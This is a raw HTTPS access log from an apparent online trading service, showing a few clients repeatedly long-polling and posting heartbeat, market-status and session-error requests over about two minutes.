[09/Jan/2026:12:51:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934531997 HTTP/1.1" -
[09/Jan/2026:12:51:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934532143 HTTP/1.1" -
[09/Jan/2026:12:51:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:07 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:51:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934537207 HTTP/1.1" -
[09/Jan/2026:12:51:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934537241 HTTP/1.1" -
[09/Jan/2026:12:51:13 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934542400 HTTP/1.1" -
[09/Jan/2026:12:51:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934542384 HTTP/1.1" -
[09/Jan/2026:12:51:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934547551 HTTP/1.1" -
[09/Jan/2026:12:51:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934547604 HTTP/1.1" -
[09/Jan/2026:12:51:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:18 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:51:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:51:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934552738 HTTP/1.1" -
[09/Jan/2026:12:51:24 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934552943 HTTP/1.1" -
[09/Jan/2026:12:51:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:51:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934557854 HTTP/1.1" -
[09/Jan/2026:12:51:29 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934558207 HTTP/1.1" -
[09/Jan/2026:12:51:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:51:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:51:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934563048 HTTP/1.1" -
[09/Jan/2026:12:51:34 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934563373 HTTP/1.1" -
[09/Jan/2026:12:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:37 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:51:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934568099 HTTP/1.1" -
[09/Jan/2026:12:51:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934568624 HTTP/1.1" -
[09/Jan/2026:12:51:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934573242 HTTP/1.1" -
[09/Jan/2026:12:51:45 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934573826 HTTP/1.1" -
[09/Jan/2026:12:51:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:51:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:51:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934578402 HTTP/1.1" -
[09/Jan/2026:12:51:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934579096 HTTP/1.1" -
[09/Jan/2026:12:51:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934583539 HTTP/1.1" -
[09/Jan/2026:12:51:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934584176 HTTP/1.1" -
[09/Jan/2026:12:51:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:51:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:51:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934588676 HTTP/1.1" -
[09/Jan/2026:12:52:00 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934589394 HTTP/1.1" -
[09/Jan/2026:12:52:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:52:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:52:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934593843 HTTP/1.1" -
[09/Jan/2026:12:52:05 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934594585 HTTP/1.1" -
[09/Jan/2026:12:52:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:52:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934598931 HTTP/1.1" -
[09/Jan/2026:12:52:10 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934599825 HTTP/1.1" -
[09/Jan/2026:12:52:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934604117 HTTP/1.1" -
[09/Jan/2026:12:52:16 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934605049 HTTP/1.1" -
[09/Jan/2026:12:52:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:52:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:19 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:52:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934609315 HTTP/1.1" -
[09/Jan/2026:12:52:21 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934610369 HTTP/1.1" -
[09/Jan/2026:12:52:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934614522 HTTP/1.1" -
[09/Jan/2026:12:52:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:52:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934615475 HTTP/1.1" -
[09/Jan/2026:12:52:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934619679 HTTP/1.1" -
[09/Jan/2026:12:52:31 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934620714 HTTP/1.1" -
[09/Jan/2026:12:52:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:52:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:52:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934624882 HTTP/1.1" -
[09/Jan/2026:12:52:37 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934625924 HTTP/1.1" -
[09/Jan/2026:12:52:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:52:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934629984 HTTP/1.1" -
[09/Jan/2026:12:52:42 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934631175 HTTP/1.1" -
[09/Jan/2026:12:52:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934635110 HTTP/1.1" -
[09/Jan/2026:12:52:47 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934636432 HTTP/1.1" -
[09/Jan/2026:12:52:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:52:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:49 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:52:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934640319 HTTP/1.1" -
[09/Jan/2026:12:52:52 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934641685 HTTP/1.1" -
[09/Jan/2026:12:52:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:52:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:52:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934645446 HTTP/1.1" -
[09/Jan/2026:12:52:58 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934646889 HTTP/1.1" -
[09/Jan/2026:12:53:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934650637 HTTP/1.1" -
[09/Jan/2026:12:53:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:53:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:53:03 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934652117 HTTP/1.1" -
[09/Jan/2026:12:53:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934655764 HTTP/1.1" -
[09/Jan/2026:12:53:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:53:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:53:08 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767934657327 HTTP/1.1" -
